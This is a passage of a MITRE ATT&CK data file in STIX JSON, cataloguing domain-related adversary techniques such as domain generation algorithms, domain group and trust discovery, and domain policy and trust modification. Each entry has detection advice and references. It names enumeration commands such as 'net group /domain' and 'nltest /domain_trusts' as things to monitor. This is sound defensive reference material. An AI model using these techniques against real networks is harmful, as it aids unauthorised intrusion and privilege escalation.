to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
            "name": "Domain Generation Algorithms",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1568.002",
                    "url": "https://attack.mitre.org/techniques/T1568/002"
                },
                {
                    "source_name": "Cybereason Dissecting DGAs",
                    "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf",
                    "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019."
                },
                {
                    "source_name": "Cisco Umbrella DGA",
                    "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/",
                    "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019."
                },
                {
                    "source_name": "Unit 42 DGA Feb 2019",
                    "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/",
                    "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019."
                },
                {
                    "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html",
                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
                    "source_name": "Talos CCleanup 2017"
                },
                {
                    "source_name": "Akamai DGA Mitigation",
                    "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html",
                    "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019."
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "source_name": "FireEye POSHSPY April 2017"
                },
                {
                    "source_name": "ESET Sednit 2017 Activity",
                    "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/",
                    "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019."
                },
                {
                    "source_name": "Data Driven Security DGA",
                    "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/",
                    "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019."
                },
                {
                    "source_name": "Pace University Detecting DGA May 2017",
                    "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf",
                    "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019."
                },
                {
                    "source_name": "Elastic Predicting DGA",
                    "url": "https://arxiv.org/pdf/1611.00791.pdf",
                    "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019."
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_contributors": [
                "Ryan Benson, Exabeam",
                "Barry Shteiman, Exabeam",
                "Sylvain Gil, Exabeam"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation"
            ],
            "x_mitre_detection": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1069.002",
                    "url": "https://attack.mitre.org/techniques/T1069/002"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Domain Groups",
            "description": "Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility,  <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.",
            "id": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2020-03-12T19:07:53.043Z",
            "created": "2020-02-21T21:15:06.561Z",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d",
            "description": "Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.\n\nWith sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\nAdversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.",
            "name": "Domain Policy Modification",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1484",
                    "url": "https://attack.mitre.org/techniques/T1484"
                },
                {
                    "source_name": "ADSecurity GPO Persistence 2016",
                    "url": "https://adsecurity.org/?p=2716",
                    "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019."
                },
                {
                    "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.",
                    "url": "https://wald0.com/?p=179",
                    "source_name": "Wald0 Guide to GPOs"
                },
                {
                    "source_name": "Harmj0y Abusing GPO Permissions",
                    "url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/",
                    "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019."
                },
                {
                    "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020."
                },
                {
                    "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods",
                    "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml",
                    "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020."
                },
                {
                    "source_name": "Microsoft 365 Defender Solorigate",
                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Sygnia Golden SAML",
                    "url": "https://www.sygnia.co/golden-saml-advisory",
                    "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."
                },
                {
                    "source_name": "CISA SolarWinds Cloud Detection",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a",
                    "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021."
                },
                {
                    "source_name": "Microsoft - Update or Repair Federated domain",
                    "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365",
                    "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-02-09T15:52:24.598Z",
            "created": "2019-03-07T14:10:32.650Z",
            "x_mitre_platforms": [
                "Windows",
                "Azure AD"
            ],
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Object Creation",
                "Active Directory: Active Directory Object Deletion",
                "Active Directory: Active Directory Object Modification",
                "Command: Command Execution"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_detection": "It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)",
            "x_mitre_defense_bypassed": [
                "System access controls",
                "File system access controls"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1590.001",
                    "url": "https://attack.mitre.org/techniques/T1590/001"
                },
                {
                    "source_name": "WHOIS",
                    "url": "https://www.whois.net/",
                    "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."
                },
                {
                    "source_name": "DNS Dumpster",
                    "url": "https://dnsdumpster.com/",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Circl Passive DNS",
                    "url": "https://www.circl.lu/services/passive-dns/",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Domain Properties",
            "description": "Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "id": "attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:30:33.508Z",
            "created": "2020-10-02T15:46:24.670Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1482",
                    "url": "https://attack.mitre.org/techniques/T1482"
                },
                {
                    "source_name": "Microsoft Trusts",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)",
                    "description": "Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019."
                },
                {
                    "source_name": "AdSecurity Forging Trust Tickets",
                    "url": "https://adsecurity.org/?p=1588",
                    "description": "Metcalf, S. (2015, July 15). It\u2019s All About Trust \u2013 Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019."
                },
                {
                    "source_name": "Harmj0y Domain Trusts",
                    "url": "http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/",
                    "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019."
                },
                {
                    "source_name": "Microsoft Operation Wilysupply",
                    "url": "https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/",
                    "description": "Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019."
                },
                {
                    "source_name": "Microsoft GetAllTrustRelationships",
                    "url": "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships",
                    "description": "Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Domain Trust Discovery",
            "description": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)",
            "id": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2020-09-17T18:26:17.858Z",
            "created": "2019-02-14T16:15:05.974Z",
            "x_mitre_version": "1.1",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\n",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution",
                "Script: Script Execution"
            ],
            "x_mitre_contributors": [
                "Dave Westgard",
                "Elia Florio, Microsoft",
                "Mnemonic",
                "RedHuntLabs, @redhuntlabs"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "id": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee",
            "description": "Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.",
            "name": "Domain Trust Modification",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1484.002",
                    "url": "https://attack.mitre.org/techniques/T1484/002"
                },
                {
                    "source_name": "Microsoft - Azure AD Federation",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed",
                    "description": "Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020."
                },
                {
                    "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods",
                    "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml",
                    "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020."
                },
                {
                    "source_name": "Sygnia Golden SAML",
                    "url": "https://www.sygnia.co/golden-saml-advisory",
                    "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."
                },
                {
                    "source_name": "CISA SolarWinds Cloud Detection",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a",
                    "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021."
                },
                {
                    "source_name": "Microsoft - Update or Repair Federated domain",
                    "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365",
                    "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-01-11T18:21:20.213Z",
            "created": "2020-12-28T21:59:02.181Z",
            "x_mitre_platforms": [
                "Windows",
                "Azure AD"
            ],
            "x_mitre_contributors": [
                "Blake Strom, Microsoft 365 Defender"
            ],
            "x_mitre_detection": "Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nMonitor for PowerShell commands such as: <code>Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\"</code>, or <code>Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\" \u2013supportmultipledomain</code>.(Citation: Microsoft - Update or Repair Federated domain)",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Object Creation",
                "Active Directory: Active Directory Object Modification",
                "Command: Command Execution"
            ]
        },
        {
            "created": "2020-09-30T17:09:31.878Z",
            "modified": "2021-04-15T02:50:38.792Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3",
            "description": "Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)",
            "name": "Domains",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1583.001",
                    "url": "https://attack.mitre.org/techniques/T1583/001"
                },
                {
                    "external_id": "CAPEC-630",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/630.html"
                },
                {
                    "source_name": "CISA MSS Sep 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-258a",
                    "description": "CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020."
                },
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                },
                {
                    "source_name": "PaypalScam",
                    "description": "Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.",
                    "url": "https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/"
                },
                {
                    "source_name": "CISA IDN ST05-016",
                    "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016",
                    "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020."
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
                }
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.",
            "x_mitre_contributors": [
                "Wes Hurd",
                "Vinayak Wadhwa, Lucideus",
                "Deloitte Threat Library Team"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1584.001",
                    "url": "https://attack.mitre.org/techniques/T1584/001"
                },
                {
                    "source_name": "ICANNDomainNameHijacking",
                    "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.",
                    "url": "https://www.icann.org/groups/ssac/documents/sac-007-en"
                },
                {
                    "source_name": "Microsoft Sub Takeover 2020",
                    "url": "https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover",
                    "description": "Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Domains",
            "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)",
            "id": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:02:43.030Z",
            "created": "2020-10-01T00:51:28.513Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1601.002",
                    "url": "https://attack.mitre.org/techniques/T1601/002"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Downgrade System Image",
